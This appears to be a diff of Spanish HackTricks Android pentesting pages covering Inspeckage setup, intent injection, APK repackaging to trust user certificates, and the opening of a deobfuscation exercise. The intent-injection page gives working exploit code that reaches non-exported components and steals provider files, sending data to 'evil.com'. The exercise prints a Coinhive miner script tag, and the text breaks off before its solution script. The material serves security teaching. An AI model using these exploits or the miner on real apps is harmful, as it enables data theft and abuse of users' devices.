Inicia _Xposed installer_. Debería mostrar "La versión XX del marco de Xposed está activa"
|
||||
|
||||
![](https://miro.medium.com/max/700/0\*QUDB2ryUyIWz3nmZ.png)
|
||||
|
||||
Arrastra y suelta el archivo APK de Inspeckage (app-release.apk) en la pantalla de tu dispositivo virtual para instalar la aplicación.
|
||||
|
||||
Después de instalar, ve a Xposed Installer → Módulos → Activa el módulo → reinicia a través de adb
|
||||
|
||||
![](https://miro.medium.com/max/623/1\*7sO6IX46hciTBUtWoyLEFQ.png)
|
||||
|
||||
## Análisis dinámico con Inspeckage <a href="#7856" id="7856"></a>
|
||||
|
||||
Después de instalar correctamente Inspeckage y Xposed Installer, ahora podemos enganchar cualquier aplicación con Inspeackage. Para hacer esto, sigue los siguientes pasos
|
||||
|
||||
1. Inicia la aplicación Inspeckage desde el cajón de aplicaciones
|
||||
2. Haz clic en el texto "Elegir objetivo" y selecciona la aplicación objetivo
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*J5J\_rCHOC0ga0YJ5kbwqbQ.png)
|
||||
|
||||
3\. Luego, reenvía el puerto local de VD a la máquina principal usando adb
|
||||
```
|
||||
adb forward tcp:8008 tcp:8008
|
||||
```
|
||||
![](https://miro.medium.com/max/1000/1\*4lEvYQBILsyr3DqTdiOzig.png)
|
||||
|
||||
4\. Ahora haz clic en el botón "**LAUNCH APP**" y luego visita [`http://127.0.0.1:8008`](http://127.0.0.1:8008)
|
||||
|
||||
5\. Ahora haz clic en el botón Turn On para inspeccionar la aplicación. (asegúrate de que el estado `App is running:` sea **True** antes de hacer clic en "Turn On")
|
||||
|
||||
![](https://miro.medium.com/max/1000/1\*jCs1Qo4vlgKyb6yIGvIl4w.png)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
259
mobile-pentesting/android-app-pentesting/intent-injection.md
Normal file
259
mobile-pentesting/android-app-pentesting/intent-injection.md
Normal file
|
@ -0,0 +1,259 @@
|
|||
# Introducción
|
||||
|
||||
Esta vulnerabilidad se asemeja a la **Redirección Abierta en seguridad web**. Dado que la clase `Intent` es `Parcelable`, **los objetos que pertenecen a esta clase** pueden ser **pasados** como **datos extra** en otro objeto `Intent`. \
|
||||
Muchos desarrolladores hacen **uso** de esta **característica** y crean **componentes proxy** (actividades, receptores de difusión y servicios) que **toman un Intent incrustado y lo pasan a métodos peligrosos** como `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
||||
Esto es peligroso porque **un atacante puede forzar a la aplicación a lanzar un componente no exportado que no puede ser lanzado directamente desde otra aplicación**, o para otorgar al atacante acceso a sus proveedores de contenido. **`WebView`** también a veces cambia una **URL de una cadena a un objeto `Intent`**, usando el método `Intent.parseUri(...)` y lo pasa a `startActivity(...)`.
|
||||
|
||||
{% hint style="info" %}
|
||||
En resumen: si un atacante puede enviar un Intent que se está ejecutando de manera insegura, potencialmente puede acceder a componentes no exportados y abusar de ellos.
|
||||
{% endhint %}
|
||||
|
||||
# Un caso típico
|
||||
|
||||
Examinemos un ejemplo. Fragmento del archivo `AndroidManifest.xml`
|
||||
```markup
|
||||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||||
```
|
||||
Actividad `ProxyActivity`
|
||||
```java
|
||||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||||
```
|
||||
Actividad `AuthWebViewActivity`
|
||||
```java
|
||||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||||
```
|
||||
`AuthWebViewActivity` es un ejemplo de **funcionalidad oculta de la aplicación que realiza ciertas acciones inseguras**, en este caso pasando la sesión de autenticación del usuario a una URL obtenida del parámetro `url`.
|
||||
|
||||
Las restricciones de exportación significan que **el atacante no puede acceder directamente a `AuthWebViewActivity`**. Una llamada directa...
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
startActivity(intent);
|
||||
```
|
||||
lanza una `java.lang.SecurityException`, debido a la `Negación de Permiso`: `AuthWebViewActivity no exportado desde el uid 1337`.
|
||||
|
||||
Pero el atacante puede **forzar al usuario a lanzar `AuthWebViewActivity` por sí mismo**:
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
extra.putExtra("url", "http://evil.com/");
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
y no surgirá ninguna violación de seguridad, porque **la aplicación que está siendo atacada tiene acceso a todos sus propios componentes**. Usando este fragmento de código, el atacante puede evitar las restricciones incorporadas del sistema Android.
|
||||
|
||||
# Escalación del impacto
|
||||
|
||||
Para aumentar el impacto de esta vulnerabilidad, es necesario **encontrar otras vulnerabilidades/configuraciones incorrectas que permitan aumentar el impacto de la vulnerabilidad** (ya que la vulnerabilidad por sí sola no crea ningún riesgo).
|
||||
|
||||
## Escalación de ataques a través de proveedores de contenido
|
||||
|
||||
Además del acceso a componentes arbitrarios de la aplicación original, el **atacante puede intentar obtener acceso a aquellos Proveedores de Contenido de la aplicación vulnerable** que satisfagan las siguientes condiciones:
|
||||
|
||||
* debe estar **no exportado** (de lo contrario, **podría ser atacado directamente**, sin usar la vulnerabilidad que estamos discutiendo en este artículo)
|
||||
* debe tener el indicador **`android:grantUriPermissions`** establecido en **`true`**.
|
||||
* `android:grantUriPermissions="true"` indica que su código Java puede usar `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION` para **cualquier `Uri` servido por ese `ContentProvider`**.
|
||||
* `android:grantUriPermissions="false"` indica que **solo los valores `Uri` especificados por los elementos secundarios `<grant-uri-permission>`** pueden ser utilizados con `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
||||
|
||||
El atacante debe establecerse como el destinatario de un intento incrustado y establecer las siguientes indicaciones:
|
||||
|
||||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permite el acceso persistente al proveedor (sin esta indicación, el acceso es solo una vez)
|
||||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permite el acceso URI por prefijo - por ejemplo, en lugar de obtener acceso separado repetidamente utilizando una ruta completa como `content://com.victim.provider/image/1`, el atacante puede otorgar acceso a todo el contenido del proveedor utilizando el URI `content://com.victim.provider/` y luego usar `ContentResolver` para abordar `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
||||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permite operaciones de lectura en el proveedor (como `query`, `openFile`, `openAssetFile`)
|
||||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permite operaciones de escritura
|
||||
|
||||
Un ejemplo de un proveedor típico donde un atacante puede obtener acceso y realizar operaciones regulares como `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`.
|
||||
```markup
|
||||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||||
```
|
||||
# Ejemplo de robo de imágenes de usuario en el archivo `AndroidManifest.xml`
|
||||
|
||||
Un atacante puede robar imágenes de usuario si la aplicación tiene permisos para acceder a la galería de imágenes del dispositivo. Para verificar si la aplicación tiene este permiso, podemos buscar en el archivo `AndroidManifest.xml` de la aplicación.
|
||||
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
||||
```
|
||||
|
||||
Si encontramos esta línea en el archivo `AndroidManifest.xml`, significa que la aplicación tiene permiso para leer imágenes de la galería del dispositivo. El atacante puede aprovechar este permiso para robar imágenes de usuario sin su conocimiento.
|
||||
|
||||
Para evitar este tipo de ataque, los desarrolladores deben asegurarse de que su aplicación solo solicite los permisos necesarios y que los usuarios estén informados sobre los permisos que se solicitan.
|
||||
```markup
|
||||
<activity android:name=".LeakActivity" android:exported="true" />
|
||||
```
|
||||
Archivo `MainActivity.java`
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||||
```
|
||||
## Ataques al proveedor de archivos de Android
|
||||
|
||||
Esta vulnerabilidad también hace posible que el atacante **robe archivos de aplicaciones** ubicados en directorios que el desarrollador predeterminó. Para un ataque exitoso, la aplicación maliciosa necesita **obtener derechos de acceso al proveedor de archivos de Android y luego leer el contenido del proveedor de archivos usando Android ContentResolver**.
|
||||
|
||||
Proveedor de archivos de ejemplo (para más detalles, consulte [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||||
```markup
|
||||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||||
</provider>
|
||||
```
|
||||
Proporciona acceso de lectura/escritura a archivos en una lista especial que se puede encontrar en los recursos de la aplicación, en este caso en `res/xml/provider_paths.xml`.
|
||||
|
||||
Puede parecer algo así:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<paths>
|
||||
<root-path name="root" path=""/>
|
||||
<files-path name="internal_files" path="."/>
|
||||
<cache-path name="cache" path=""/>
|
||||
<external-path name="external_files" path="images"/>
|
||||
</paths>
|
||||
```
|
||||
Cada etiqueta especifica un directorio raíz con un valor `path` relativo al mismo. Por ejemplo, el valor `external_files` corresponderá a `new File(Environment.getExternalStorageDirectory(), "images")`.
|
||||
|
||||
El valor `root-path` corresponde a `/`, es decir, proporciona acceso a archivos arbitrarios.
|
||||
|
||||
Supongamos que tenemos algunos datos secretos almacenados en el archivo `/data/data/com.victim/databases/secret.db`: el robo de este archivo puede parecer algo así como esto en `MainActivity.java`.
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||||
```
|
||||
## Acceso a componentes arbitrarios a través de WebView
|
||||
|
||||
Un objeto Intent puede ser convertido a una cadena con una llamada a `Intent.toUri(flags)` y de vuelta de una cadena a un Intent usando `Intent.parseUri(stringUri, flags)`. Esta funcionalidad es a menudo utilizada en WebView (el navegador integrado de la aplicación): la **aplicación puede verificar un esquema `intent://`, analizar la URL en un Intent y lanzar la actividad**.
|
||||
|
||||
**Esta vulnerabilidad puede ser explotada tanto a través de otras vulnerabilidades** (por ejemplo, la capacidad de abrir enlaces arbitrarios en la aplicación en WebView directamente a través de actividades exportadas o mediante el mecanismo deeplink) en la aplicación cliente y también de forma remota, incluyendo scripting entre sitios en el lado del servidor o MitM en el lado del cliente.
|
||||
|
||||
Ejemplo de código vulnerable
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
El punto aquí es que el método `shouldOverrideUrlLoading(...)` de la clase `WebViewClient` es llamado cada vez que WebView intenta cargar un nuevo enlace, pero da la opción a la aplicación de agregar un manejador personalizado.
|
||||
|
||||
Para explotar esta vulnerabilidad, el atacante necesita crear una redirección de WebView a una URL de esquema de intentos especialmente preparada. Ejemplo de creación de URL:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||||
```
|
||||
Ataque de ejemplo
|
||||
```java
|
||||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||||
```
|
||||
Esta versión contiene **varias restricciones en comparación con la versión clásica** de la vulnerabilidad:
|
||||
|
||||
* Los objetos `Parcelable` y `Serializable` incrustados no se pueden convertir a cadena (se ignorarán)
|
||||
* Las banderas inseguras `Intent.FLAG_GRANT_READ_URI_PERMISSION` e `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` son **ignoradas** cuando se llama a `Intent.parseUri(...)`. El analizador solo las dejará si se establece la bandera `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`), lo cual es muy raro.
|
||||
|
||||
Muchos desarrolladores todavía olvidan realizar un filtrado completo de los intents recibidos a través de WebView.
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
startActivity(intent);
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
El atacante puede especificar un componente no exportado a través de un selector.
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||||
```
|
||||
Y evitar la protección de la aplicación contra intents explícitos. Por lo tanto, recomendamos filtrar también el selector.
|
||||
```java
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
intent.setSelector(null);
|
||||
```
|
||||
Pero incluso un filtrado completo no garantiza una protección completa, ya que un atacante puede crear un intento implícito correspondiente al `intent-filter` de alguna actividad no exportada. Ejemplo de declaración de actividad:
|
||||
```markup
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<data android:scheme="victim" android:host="secure_handler" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
```java
|
||||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||||
```
|
||||
Por lo tanto, recomendamos verificar que una actividad esté exportada antes de que se lance.
|
||||
|
||||
## Otras formas de crear intents inseguros
|
||||
|
||||
Algunos desarrolladores de aplicaciones implementan sus propios analizadores de intents (a menudo para manejar deeplinks o mensajes push), utilizando objetos JSON, cadenas o matrices de bytes, que no difieren del valor predeterminado o presentan un gran peligro, porque pueden expandir objetos `Serializable` y `Parcelable` y también permiten establecer banderas inseguras. El investigador de seguridad también puede encontrar versiones más exóticas de creación de intents, como la conversión de una matriz de bytes a un `Parcel` y luego leer un intent desde él.
|
||||
```java
|
||||
Uri deeplinkUri = getIntent().getData();
|
||||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||||
Parcel parcel = Parcel.obtain();
|
||||
parcel.unmarshall(handle, 0, handle.length);
|
||||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||||
}
|
||||
```
|
||||
# Aplicación vulnerable
|
||||
|
||||
{% embed url="https://github.com/oversecured/ovaa" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,42 @@
|
|||
Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo que para inspeccionar el tráfico web de algunas aplicaciones, en realidad tenemos que descompilar la aplicación, agregar algunas cosas y volver a compilarla.
|
||||
|
||||
# Automático
|
||||
|
||||
La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) hará **automáticamente** los cambios necesarios en la aplicación para comenzar a capturar las solicitudes y también deshabilitará el pinning de certificados (si lo hay).
|
||||
|
||||
# Manual
|
||||
|
||||
Primero descompilamos la aplicación: `apktool d *nombre-del-archivo*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Luego vamos al archivo **Manifest.xml** y nos desplazamos hasta la etiqueta `<\application android>` y vamos a agregar la siguiente línea si aún no está allí:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
Antes de agregar:
|
||||
|
||||
![](../../.gitbook/assets/img10.png)
|
||||
|
||||
Después de agregar:
|
||||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
Ahora vamos a la carpeta **res/xml** y creamos/modificamos un archivo llamado network_security_config.xml con el siguiente contenido:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
<trust-anchors>
|
||||
<!-- Trust preinstalled CAs -->
|
||||
<certificates src="system" />
|
||||
<!-- Additionally trust user added CAs -->
|
||||
<certificates src="user" />
|
||||
</trust-anchors>
|
||||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Luego, guarda el archivo y sal de todos los directorios y reconstruye el apk con el siguiente comando: `apktool b *nombre-de-la-carpeta/* -o *nombre-del-archivo-de-salida.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección de la página Smali - Decompiling/\[Modifying\]/Compiling para aprender cómo firmarla](smali-changes.md#sing-the-new-apk).
|
120
mobile-pentesting/android-app-pentesting/manual-deobfuscation.md
Normal file
120
mobile-pentesting/android-app-pentesting/manual-deobfuscation.md
Normal file
|
@ -0,0 +1,120 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Copiado de **[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)** (puedes encontrar soluciones allí)**
|
||||
|
||||
![Logo](https://maddiestone.github.io/AndroidAppRE/images/pinkandroid.png)
|
||||
|
||||
Hay muchas veces en las que la aplicación que estás revirtiendo no será tan directa como algunos de los ejemplos que hemos discutido. El desarrollador implementará una o más técnicas de ofuscación para ocultar el comportamiento y/o la implementación de su aplicación. Esto puede ser por razones benignas y maliciosas.
|
||||
|
||||
Lo clave sobre la ofuscación es recordar que si quieres desofuscarla, podrás hacerlo. La decisión clave no es si puedes o no, sino si vale la pena los recursos para desofuscarla.
|
||||
|
||||
La razón por la que siempre puedes desofuscar algo es porque en última instancia, la CPU en algún momento tiene que ver el código no ofuscado para ejecutarlo.
|
||||
|
||||
## Cómo desofuscar <a href="how-to-de-obfuscate" id="how-to-de-obfuscate"></a>
|
||||
|
||||
Cómo elijas desofuscar la aplicación dependerá del método de ofuscación, pero hay un par de técnicas comunes que suelen funcionar bien. Aquí, solo tocaremos las técnicas de desofuscación estática ya que este taller solo cubre el análisis/reversión estática. Sin embargo, recuerda que ejecutar la aplicación y analizarla dinámicamente puede ser otra gran manera de superar la ofuscación.
|
||||
|
||||
Para la ofuscación en el bytecode DEX (Java), una de las formas más fáciles de desofuscar estáticamente es identificar los métodos de desofuscación en la aplicación y copiar su descompilación en un archivo Java que luego se ejecuta en el archivo, cadenas, código, etc. ofuscados.
|
||||
|
||||
Otra solución tanto para Java como para código nativo es transliterar el algoritmo de desofuscación a Python o cualquier otro lenguaje de script con el que te sientas más cómodo. Digo "transliterar" porque es importante recordar que no siempre necesitas \*entender\* el algoritmo de desofuscación, solo necesitas una forma de ejecutarlo. Cubro esto con más detalle en la charla "Desempaquetando el desempaquetador empaquetado" que está vinculada en la sección "Más ejemplos".
|
||||
|
||||
## Indicadores de ofuscación <a href="indicators-of-obfuscation" id="indicators-of-obfuscation"></a>
|
||||
|
||||
Hay muchos tipos diferentes de ofuscación y, por lo tanto, tantos tipos diferentes de indicadores para alertarte como analista de que es probable que una aplicación esté ofuscada, pero aquí hay algunos ejemplos con soluciones de análisis estático propuestas para desofuscar.
|
||||
|
||||
* Sin cadenas: Java y Android dependen en gran medida de las cadenas, por lo que si no ves ninguna o solo cadenas enmascaradas, es muy probable que las cadenas estén ofuscadas.
|
||||
* Solución sugerida: Busca llamadas de método que tomen cadenas como argumento y rastrea de dónde proviene ese argumento. En algún momento, el argumento de cadena pasará por un método de desofuscación antes de que se pase a la API que toma el argumento de cadena.
|
||||
* Cadenas enmascaradas: Las API de Java y Android requieren las cadenas de texto plano, no enmascaradas.
|
||||
* Solución sugerida: Es probable que todas las cadenas enmascaradas se pasen a los mismos métodos antes de pasar a las API. Estos métodos son probablemente los métodos de desofuscación.
|
||||
* Archivos binarios en el directorio assets/ y llamadas DexClassLoader en la aplicación: Probablemente desempaquetando y cargando código adicional. (También podría estar descargando desde una ubicación remota y luego cargando usando DexClassLoader)
|
||||
* Solución sugerida: Identifica dónde se lee el archivo y luego sigue el camino. Es probable que se desofusque rápidamente después de ser leído.
|
||||
* Bibliotecas nativas: no se pueden identificar las funciones JNI (no hay funciones llamadas Java\_ y no hay llamadas a RegisterNatives): Para ejecutar cualquier método nativo, JNI tiene que poder emparejar la función en la biblioteca nativa con la declaración del método nativo en Java y, por lo tanto, uno de los dos debe existir en algún momento.
|
||||
* Solución sugerida: Comienza en el método JNI_OnLoad y busca una rutina de desofuscación que cargue código adicional.
|
||||
|
||||
## Ejercicio 7 - Desofuscación de cadenas <a href="exercise-7---string-deobfuscation" id="exercise-7---string-deobfuscation"></a>
|
||||
|
||||
En este ejercicio, practicaremos la desofuscación de cadenas para analizar una aplicación. Para el ejercicio, usaremos la muestra en `~/samples/ClashOfLights.apk` en la VM. Esta muestra tiene el resumen SHA256 c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5.
|
||||
|
||||
### Objetivos <a href="goals" id="goals"></a>
|
||||
|
||||
Identificar cadenas ofuscadas y desarrollar una solución para desofuscarla.
|
||||
|
||||
### Contexto del ejercicio <a href="exercise-context" id="exercise-context"></a>
|
||||
|
||||
Eres un analista de malware que revisa esta aplicación para determinar si es malware. Te encuentras con una cadena de Javascript ofuscada que se está cargando y necesitas desofuscarla para determinar si la aplicación es maliciosa. No puedes ejecutar la aplicación dinámicamente y necesitas determinar estáticamente qué es el Javascript.
|
||||
|
||||
### Instrucciones <a href="instructions" id="instructions"></a>
|
||||
|
||||
1. Encuentra la cadena que necesitas desofuscar
|
||||
2. Identifica la rutina que la desofusca.
|
||||
3. Determina cómo quieres escribir una solución para desofuscar la cadena.
|
||||
4. ¡Hazlo! :)
|
||||
|
||||
### Solución <a href="solution" id="solution"></a>
|
||||
|
||||
La cadena desofuscada es:
|
||||
```
|
||||
<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>
|
||||
```
|
||||
El script de Python que escribí para desofuscarlo es:
|
||||
```
|
||||
